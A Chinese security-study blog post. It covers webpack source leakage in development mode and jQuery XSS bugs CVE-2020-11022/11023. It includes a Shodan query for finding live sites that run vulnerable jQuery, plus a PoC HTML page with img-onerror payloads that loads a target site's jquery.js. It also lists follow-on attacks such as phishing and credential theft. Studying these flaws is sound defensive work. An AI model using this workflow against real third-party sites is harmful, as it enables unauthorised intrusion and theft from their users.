当前位置：首页 > news >正文

Day31 -js应用 -实例：webpack jQuery的使用及其隐含的安全问题

news 来源：原创 2025/5/29 9:58:22

一、打包器webpack

1、什么是webpack

是一个现代 JavaScript 应用程序的静态模块打包器(module bundler)。当 Webpack 处理应用程序时，它会递归地构建一个依赖关系图(dependency graph)，其中包含应用程序需要的每个模块，然后将所有这些模块打包成一个或多个 bundle。

2、打包器webpack的使用

一文看懂webpack打包操作https://mp.weixin.qq.com/s/J3bpy-SsCnQ1lBov1L98WA

1）下载webpack包

npm install webpack@4 webpack-cli@3 -D

2）将文件夹归类好

给两个功能性js，一个sum一个count，一个求和一个做差；main负责直接调用这两个功能

sum：

export default function sum(x,y){

return x+y;

}

count：

export default function count(x,y){

return x-y;

}

main：

import count from "./sum.js";

import sum from "./count.js" ;

console.log(count(5,2));

console.log(sum(5,2));

3）利用webpack打包

创建一个名为：webpack.config.js的文件，负责进行打包的js文件

const path= require('path'); //引入path模块module.exports = {entry: './src/main.js', // 入口文件配置（精简写法）/*完整写法：entry:{main:'./src/js/app.js'}*/output: { //输出配置filename: './js/app.js',//输出文件名path: path.resolve(__dirname, 'build')//输出文件路径(绝对路径)//__dirname表示该文件当前文件夹},mode: 'development'   //开发环境(二选一)//mode: 'production'   //生产环境(二选一)
};

打包指令：npx webpack

发现生成了打包后的js总文件

4）将前端页面挂上打包后的js

*注意*：一定要注意路径的问题，要先建议先返回文件根目录，再使用绝对路径进行访问

5）访问首页，查看打包器的打包结果

6）进行页面数据包的查看

【开发者模式】

存在源码泄露问题，打包前的源文件都能看到。

【生产者模式】

只有打包后的app.js，未被打包的源码并没有显示出来。

3、webpack不当配置可能造成的安全问题

【1】打包模式不当，造成源码泄露

开发者模式（development） & 生产者模式（production)

开发者模式：存在源码泄露，所有源文件都存在于浏览器上。【nodejs & vue 都存在】

生产者模式：看不到核心源码逻辑，类比与nodejs的安全性。

【2】利用工具packer-fuzzer进行模糊扫描

Day14 -实例 -利用工具进行js框架的信息收集_寻路犬系统-CSDN博客

二、第三方库--Jquery

1、JQuery的作用

jQuery 是一个 快速、简洁、功能丰富 的 JavaScript 库，主要用于简化 HTML 文档遍历、事件处理、动画和 AJAX 交互。它的核心目标是 "Write Less, Do More"（写更少的代码，做更多的事情），使开发者能够更高效地操作 DOM、处理事件和执行异步请求。

2、曾经调用实例

在之前我们做登录验证的时候就用到了jquery库，进行ajax的时候，详见

Day28 -js开发01 -JS三个实例：文件上传 & 登录验证 & 购物商城 & ---逻辑漏洞复现及判断js的payload思路_30-阶段案例-登录页判断是否勾选同意协议 javascript带你手写登录逻辑 30-阶-CSDN博客https://blog.csdn.net/2401_84908950/article/details/147769871?spm=1001.2014.3001.5502

3、安全性问题

不同版本jquery框架一定对应不同的payload，这个是对于框架漏洞挖掘的重要思想。

目前就jquery来说 1.0-3.5 就是漏洞高发版本范围，挖掘思路和实战也是在这个版本范围内的。

挖掘思路图解：

实操方法：

1）利用火狐插件retire.js暴力发掘漏洞，找到其编号

2）判断爆出来的漏洞的优先级

排出序后，进行最优漏洞复现，去GitHub搜索相对应的漏洞编号，查找复现结果

3）直接去搜索漏洞编号的poc即可

这里贴一个漏洞库博文：

几个cve漏洞库查询网站-CSDN博客

拿到漏洞编号可以直接搜索引擎去搜搜复现poc方案。

4、实战

我们这里用shodan去找几个符合的站点，语句是

jquery-3.0.0 country:"CN"

法官后台结算管理登录界面 - 伊斯灵顿不眠夜

1、暴力找jquery洞

有3个，那么我们优先去复现CVE-2020-11022，原因是优先级高，易复现。

也可以根据这个师傅的技术分析文章，写的仔细清楚，复现的同样是cve-2020-11022漏洞。

【JQuery-XSS漏洞（CVE-2020-11022/CVE-2020-11023）漏洞复现】_jquery xss-CSDN博客

如果说我们并不知道如何复现怎么办？------去GitHub，搜索cve漏洞编号，会有复现指南。

2、进入目标站点的js文件中

去找他的jquery-js文件路径，抓出来

3、将js文件的url替换到我们的脚本中

脚本：

<!DOCTYPE html>

<html>

<head>

<meta charset="utf-8">

<title>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</title>



<script src="替换成目标站点的jquery.js路径"></script>



</head>

<body>

<script>

function test(n,jq){

sanitizedHTML = document.getElementById('poc'+n).innerHTML;

if(jq){

$('#div').html(sanitizedHTML);

}else{

div.innerHTML=sanitizedHTML;

}

}

</script>

<h1>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</h1>

<p>PoCs of XSS bugs fixed in <a href="//blog.jquery.com/2020/04/10/jquery-3-5-0-released/">jQuery 3.5.0</a>. You can find the details in my blog post: <a href="//mksben.l0.cm/2020/05/jquery3.5.0-xss.html">English</a> / <a href="//masatokinugawa.l0.cm/2020/05/jquery3.5.0-xss.html">日本語</a></p>

<h2>PoC 1</h2>

<button οnclick="test(1)">Assign to innerHTML</button> <button οnclick="test(1,true)">Append via .html()</button>

<xmp id="poc1">

<style><style /><img src=x οnerrοr=alert(2)>

</xmp>

<h2>PoC 2 (Only jQuery 3.x affected)</h2>

<button οnclick="test(2)">Assign to innerHTML</button> <button οnclick="test(2,true)">Append via .html()</button>

<xmp id="poc2">

<img alt="<x" title="/><img src=x οnerrοr=alert("1st")>">

</xmp>

<h2>PoC 3</h2>

<button οnclick="test(3)">Assign to innerHTML</button> <button οnclick="test(3,true)">Append via .html()</button>

<xmp id="poc3">

<option><style></option></select><img src=x οnerrοr=alert("1st")></style>

</xmp>

<div id="div"></div>

</body>

</html>

4、去运行脚本，点击确定对应哪个payload

就到这里可以尝试提交漏洞了，点到即止哈哈哈。

后续攻击手法：攻击者可以利用该漏洞执行恶意HTML/JS代码、构造蠕虫、篡改页面实施钓鱼攻击、以及诱导用户再次登录，然后获取其登录凭证等。

文章推荐：这几位师傅写的都非常好，精简易懂，给我提供了很多帮助和思路。

安服水洞系列｜01. jQuery XSS - FreeBuf网络安全行业门户https://www.freebuf.com/articles/web/360284.html 【JQuery-XSS漏洞（CVE-2020-11022/CVE-2020-11023）漏洞复现】_jquery xss-CSDN博客https://blog.csdn.net/qq_61872115/article/details/134142487

Web安全-JQuery框架XSS漏洞浅析_cve-2020-11022-CSDN博客https://blog.csdn.net/weixin_39190897/article/details/113008613